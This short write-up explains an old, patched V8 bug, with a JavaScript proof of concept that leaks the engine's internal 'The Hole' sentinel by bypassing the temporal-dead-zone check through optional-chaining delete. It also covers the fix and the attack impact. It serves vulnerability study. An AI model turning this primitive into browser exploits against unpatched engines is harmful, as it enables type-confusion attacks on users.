
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
A variable y was accessed before declaration. Normally this should trigger a ReferenceError (TDZ), but in older V8, when combined with delete x?.[y], the check failed and returned the internal sentinel value "The Hole".
V8 only checked for TDZ once, then incorrectly assumed y was valid. This allowed "The Hole" to escape into user code.
The patch forces a fresh TDZ check (ThrowReferenceErrorIfHole) on every access, ensuring y before initialization always throws.
Impact: Attackers could capture "The Hole" and abuse it for type confusion, stack tricks, or scope bypasses.